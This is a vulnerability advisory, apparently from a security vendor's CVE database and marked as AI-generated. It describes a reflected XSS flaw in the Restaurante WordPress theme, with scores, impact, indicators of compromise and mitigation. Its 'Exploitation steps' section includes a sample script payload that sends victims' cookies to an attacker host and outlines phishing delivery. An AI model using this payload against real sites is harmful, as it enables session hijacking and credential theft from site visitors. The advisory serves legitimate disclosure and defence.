CVE-2025-52746
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-52746 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Restaurante WordPress theme developed by AyeCode. It affects all versions of the theme up to and including 3.0.7, with no lower version bound specified. The vulnerability was published on January 22, 2026, and was reported by Patchstack. The CNA (Patchstack) assigned a CVSS v3.1 base score of 7.1 (High), while an earlier CISA-ADP score of 6.1 (Medium) was subsequently removed (NVD, Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. User-supplied input is not properly sanitized or encoded before being rendered in the HTTP response, allowing an attacker to inject malicious JavaScript that executes in the victim's browser. Exploitation requires no authentication and no special privileges, but does require user interaction — typically tricking a victim into clicking a crafted URL. No public proof-of-concept code has been identified at this time (NVD, Patchstack).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, or defacement of page content as seen by the victim. The scope is changed (affecting the browser environment beyond the vulnerable application), with low confidentiality and integrity impact and, per the updated Patchstack scoring, low availability impact as well (NVD).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-52746. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (NVD).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites using the Restaurante theme (version ≤ 3.0.7) via passive techniques such as HTTP response headers, HTML source inspection, or tools like WPScan.
  2. Identify vulnerable parameter: Locate a URL parameter or form input within the theme that is reflected unsanitized in the page response (e.g., a search or query parameter).
  3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://target-site.com/page?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver to victim: Send the crafted URL to a target user via phishing email, social media, or other social engineering channels.
  5. Payload execution: When the victim clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies, credentials, or performing actions on behalf of the victim (NVD, Patchstack).

Indicators of compromise

  • Network: HTTP GET or POST requests to WordPress pages with URL parameters containing encoded JavaScript payloads (e.g., <script>, %3Cscript%3E, javascript:, onerror=, onload=).
  • Logs: Web server access logs showing requests with XSS-like strings in query parameters directed at Restaurante theme pages; unusual outbound connections from victim browsers to unknown external domains shortly after page load.
  • Browser/Client-Side: Unexpected redirects or pop-ups experienced by users visiting the affected WordPress site; reports of session hijacking or unauthorized account actions following site visits.

Mitigation and workarounds

The primary remediation is to update the Restaurante WordPress theme to a version beyond 3.0.7 that addresses this vulnerability. Site administrators should check the AyeCode theme repository or the WordPress theme directory for a patched release and apply it promptly. As a temporary workaround, consider implementing a Web Application Firewall (WAF) rule to filter reflected XSS patterns in HTTP requests. Additionally, restricting access to the affected WordPress site or disabling the theme until a patch is applied can reduce exposure (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-78361CRITICAL9.1
  • zipmoney-payments-woocommerce
NoYesSep 10, 2026
CVE-2026-82925HIGH8.1
  • site-reviews
NoYesSep 10, 2026
CVE-2026-77771HIGH7.5
  • miniorange-2-factor-authentication
NoYesSep 10, 2026
CVE-2026-81431HIGH7.2
  • registration-form-for-woocommerce
NoYesSep 10, 2026
CVE-2026-15889MEDIUM6.4
  • aruba-hispeed-cache
NoYesSep 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management